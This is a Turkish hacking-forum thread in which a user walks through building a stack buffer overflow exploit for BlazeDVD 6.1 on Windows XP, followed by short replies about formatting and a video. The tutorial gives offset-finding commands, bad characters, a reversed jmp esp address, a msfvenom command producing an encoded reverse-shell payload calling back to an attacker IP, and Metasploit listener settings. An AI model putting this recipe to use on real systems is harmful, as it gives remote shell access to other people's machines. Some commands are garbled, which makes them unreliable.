1.                                                

Buffer Overflow ve Kendi Exploitini olusturma!!!!

'Exploit Shellcode Archive' forumunda tababa86 tarafından 18 Mayıs 2016 tarihinde açılan konu

  1. tababa86

    tababa86 Albay

    Katılım:
    12 Mart 2016
    Mesaj:
    970
    Beğeniler:
    164
    Ödül Puanları:
    43
    Cinsiyet:
    Erkek
    Şehir:
    Kore



    Buffer Overflow ve Kendi Exploitini olusturma!!!!
    buffer overflow olayini kullanarak kendi exploitimizi olusturmayi gösterecem..

    gerekli araçlar

    windows xp 64
    kali linux
    imunnity debugger...bunu sadece jmp esp de kullanacam çunku ollydebugger bulamadi.
    olly debugger ...

    active perl kurulmali
    blazedvd 6.1
    su siteye gidin vuln programi ve exploit source'ni indirin ex.pl yapin...
    ex.pl=>eploit kodlarimiz...

    https://www.exploit-db.com/exploits/26889/

    kısaca memory(hafıza ) segment (alanlar) ve registerlar...
    --------------------------------------------------------------------
    jmpesp| \x90 | shellkodu
    kullanici hafiza alanlari EIP |arabosluk | ESP
    aaaaaaaaaaaaaaaaaaaaaaaabbbbaaaaaaaaaaccccccc
    --------------------------------------------------------------------

    eip düsen degeri bulma ( bunu pattern_create arai ile bulacaz)
    eip de jmp esp ile esp atmamiz gerek ...
    arabosluk kismina shell kodu düsmemeli ...
    esp de ise kendi shell kodumuzu çalistiracaz...

    -------------------------------------------------------------------------------



    kali linux da islemler....

    kalide pattern_create.rb
    ve pattern_offset.rb lazim

    >locate pattern_create.rb
    >./pattern_create.rb 1000 //1000 karakter olusturup

    $jump="" kopyaliyoruz...

    >./pattern_offset.rb eip_degeri 1000
    260 adet karakter yazinca bundan sonra eip üzerine gelecektir...yani 260 karakter yazinca eip ye
    ulasiyor....
    eip den sonra hemen esp geliyor mu yoksa bosluk varsa shell kodumuzun bu bosluga
    gelmemesine dikkat ediniz...
    $eip="\x42" x 4;yazmamiz gerekiyordu...
    $arabosluk="1abcdef2abcdef3abcdef4abcdef" bakalim nereden basliyor esp
    yani esp ye düsüyor...ogrenmemiz lazim.yazilmayan önceki karakterler arabosluk
    oluyor...

    $arabosluk="\x43 16" 16 dan sonra esp kodu basliyor..shell kodunun yazilacagi kisim...
    kontrol ediyoruz bakem...dur ama esp ye de d gelsin...

    assembly deki harflerin yazilimi...
    x41==>A a karakteri yazacak...
    x42==>b eip ye b karakteri yazacaz 4 tane...
    x43==>c
    x44==>d
    x90==>


    istemedigimiz null degerler shell kodu içinde varsa bunlar sorun olusacaktir...
    exploit bunlari kullanmamaniz gerek...istenmeyen bad chars lar..

    \x00\xff\x0a\x0d\x1a ==>>blazedvd için bad chars oluyor...bunlari elememiz gerek..
    exploit olustururken -b ile eleyecez...
    ctrl +f ile jmp esp arayin..
    $eip için kodlarimiz shell.dll de ki jmp esp adresi lazim
    mesela adresimiz 7C8D1B24 tir...reverseleyecez... tersten yazacaz...
    \x24\x1b\x8d\7c bu kodu $eip="buraya yazz...";

    shell codu olusturmak için msfvenom araci lazim...

    >msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.5 LPORT=442
    -e -a x86 -e x86/shikata_ga_nai -b "\x00\xff\x0a\x0d\x1a" --format=perl

    ve shel kodumuz yazildi....kopyalayin onu....
    -p==> exploit oluşturma
    -e => encoder

    -a=> mimari x86 (arch)

    -b=> ise yaramayan kodlari elemek içinn (bad char(kötü karakterler))

    --format=.pl/.py/.rb yazilacak dil


    7c8d1b24 tamamdir

    \x24\x1b\x8d\x7c

    artik her sey hazir....

    [HASHTAG]#msfconsole[/HASHTAG]
    msf>use exploit/multi/handler
    >set payload windows/shell_reverse_tcp
    >show options
    >set LHOST kali_ipadresiniz
    >set LPORT 442 //belirlemiştik exploit olustururken...
    >run ya da exploit //enter


    kaynakca :http://www.yazilimodasi.com/buffer-overflow-acigi-ve-exploit-kodlamak.html
    https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ her ikisi siteye de teşekkürler...
     
  2. MenIn

    MenIn Albay

    Katılım:
    21 Nisan 2016
    Mesaj:
    720
    Beğeniler:
    0
    Ödül Puanları:
    16
    Şehir:
    Belirtilmemiş
    Eline sağlık kardeşim maşallah uğraştırmış belliki seni ama sonrasında iyi bir sonuca ulaşmışsın.
     
  3. tababa86

    tababa86 Albay

    Katılım:
    12 Mart 2016
    Mesaj:
    970
    Beğeniler:
    164
    Ödül Puanları:
    43
    Cinsiyet:
    Erkek
    Şehir:
    Kore
    Aynen 3 günümü aldı ama sonunda bir şeyler kaptım....
     
  4. tababa86

    tababa86 Albay

    Katılım:
    12 Mart 2016
    Mesaj:
    970
    Beğeniler:
    164
    Ödül Puanları:
    43
    Cinsiyet:
    Erkek
    Şehir:
    Kore
    o yazı niye kayıyor anlamadım... jmpesp eip nin üstünde durması gerekiyor...jmpesp| \x90 | shellkodu ötelenmesi gerek bir türlü olmadı ya acaba kodu bozmayan
    editor olsa iyi olur eip üstünde durması gerekiyordu jmpesp'nin. :D
     
  5. MrX

    MrX Active Member

    Katılım:
    22 Mart 2016
    Mesaj:
    831
    Beğeniler:
    28
    Ödül Puanları:
    28
    Şehir:
    Belirtilmemiş
    Eline sağlık çok güzel Fakat video kaldırılmıs youtube da başka bir video izleme sitesine atarsan videoyu daha iyi olur :)
     
  6. tababa86

    tababa86 Albay

    Katılım:
    12 Mart 2016
    Mesaj:
    970
    Beğeniler:
    164
    Ödül Puanları:
    43
    Cinsiyet:
    Erkek
    Şehir:
    Kore
    hayır kaldırılmadı şuan yükleniyor hazır degil...1-2 saate yüklenir.45 dk..
     
  7. MenIn

    MenIn Albay

    Katılım:
    21 Nisan 2016
    Mesaj:
    720
    Beğeniler:
    0
    Ödül Puanları:
    16
    Şehir:
    Belirtilmemiş
    Oldu galiba :) Seçenekler de >Girinti ifadesi var. Onunla bu işlemi yapabilirsin. Space ile olmuyor maalesef :D
     

Bu Sayfayı Paylaş

Share